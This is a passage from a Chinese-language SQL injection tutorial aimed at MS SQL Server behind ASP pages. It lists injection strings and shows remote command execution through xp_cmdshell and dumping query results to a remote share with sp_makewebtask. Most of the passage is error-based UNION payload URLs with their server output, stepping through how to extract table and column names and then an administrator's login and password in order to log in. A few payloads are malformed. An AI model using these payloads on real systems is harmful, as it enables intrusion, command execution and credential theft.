现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于’food’。至于结尾
部分的那两条’–’(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个’(单引号)。有的时候也
可以使用’#’(井号)来代替’–’(双破折号)在这里的用法。
无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽
略最后的那个单引号的话,你可以尝试:
’ or ’a’=’a
这样的话整个SQL请求将会变为:
SELECT * FROM product WHERE PCategory=’food’ or ’a’=’a’
它也会返回相同的结果。
根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
’ or 1=1–
" or 1=1–
or 1=1–
’ or ’a’=’a
" or "a"="a
’) or (’a’=’a

4.0如何在SQL注入请求中加入即时执行命令?
能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命
令执行请求。默认的MS SQL服务器是运行在SYSTEM用户级别下的,这等同于系统管理员的执行与访问权
限。我们可以使用MS SQL SERVER的扩展储存过程(如master..xp_cmdshell等)来执行远程系统的某些命
令:
’; exec master..xp_cmdshell ’ping 10.10.1.2’–
若失败可以尝试一下使用"(双引号)代替’(单引号)。
上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上
面这条PING命令是否成功,你可以在10.10.1.2这台机器上监听ICMP请求包,并确认它是否来自那台SQL
服务器就可以了:
#tcpdump icmp
如果你不能从那台SQL服务器中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能
是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。

5.0如何可以获取到我发的SQL请求的相关返回信息呢?
我们可以使用sp_makewebtask处理过程的相关请求写入URL:
’; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION
_SCHEMA.TABLES"
但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。

6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?
我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表
名、列名等)。比方有这么一个URL:
http://duck/index.asp?id=10
在上面的URL中我们可以尝试使用UNION子句的方式在整数’10’之后加入其他请求字符串进去的,如:
http://duck/index.asp?id=10UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–
上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就
包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询
问请求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之
后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int
)时,系统就会产生错误。服务器会显示如下错误信息:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
table1’ to a column of data type int.
/index.asp, line 5
非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例
中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:
http://duck/index.asp?id=10UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN (’table1’)–
我们也可以通过LIKE来找寻相关的特殊字:
http://duck/index.asp?id=10UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE ’%25login%25’–
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
admin_login’ to a column of data type int.
/index.asp, line 5

6.1如何找出表中的列名?
我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:
http://duck/index.asp?id=10UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’–
输出显示为:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
login_id’ to a column of data type int.
/index.asp, line 5
现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:
http://duck/index.asp?id=10UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (’login_id’)–
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
login_name’ to a column of data type int.
/index.asp, line 5
若继续重复这样的操作,我们将可以获得余下所有的列名,如"password"、"details"。当我们使用了下
面的请求后就可以得到(除了’login_id’,’login_name’,’password’,details’之外的列名):
http://duck/index.asp?id=10UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (’login_id’,’login_name’,’password’
,details’)–
输出后得到:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select lis
t if the statement contains a UNION operator.
/index.asp, line 5

6.2如何找到我们需要的数据?
现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。
现在让我们问问"admin_login"表的第一个用户名是什么吧:
http://duck/index.asp?id=10UNION SELECT TOP 1 login_name FROM admin_login–
输出:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
neo’ to a column of data type int.
/index.asp, line 5
知道了一个管理员帐号是"neo"。最后,问问这个管理员帐号的密码是什么吧:
http://duck/index.asp?id=10UNION SELECT TOP 1 password FROM admin_login where login_name=’
neo’–
输出:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
m4trix’ to a column of data type int.
/index.asp, line 5
现在我们可以用"neo"与他的密码("m4trix")来登陆系统了。

6.3如何获得数字串值?
在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法
得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为"trinity"的密码,而它所对应
的密码为"31173":
http://duck/index.asp?id=10UNION SELECT TOP 1 password FROM admin_login where login_name=’
trinity’–
这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在于,在与整数(这个例
子中为10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转换为数值。这样的话这个UN
ION字句调用就是‘合法’的了,SQL服务器将不会返回任何ODBC错误信息,因而我们是不可能得到这些
数字型数据的。
为了解决这个问题,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试
用下面的这条请求来代替原来的请求吧:
http://duck/index.asp?id=10UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM
admin_login where login_name=’trinity’–
在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在ASCII中’+’等于0×2b)。我
们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们得到
了数字串’31173’,它也会变成’31173 morpheus’。
在执行了convert()函数后,系统会尝试将’31173 morpheus’转换为整数型,SQL服务器一定会返回这样
的ODBC错误信息:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
31173 morpheus’ to a column of data type int.
/index.asp, line 5
现在你可以知道’trinity’的密码是’31173’了吧。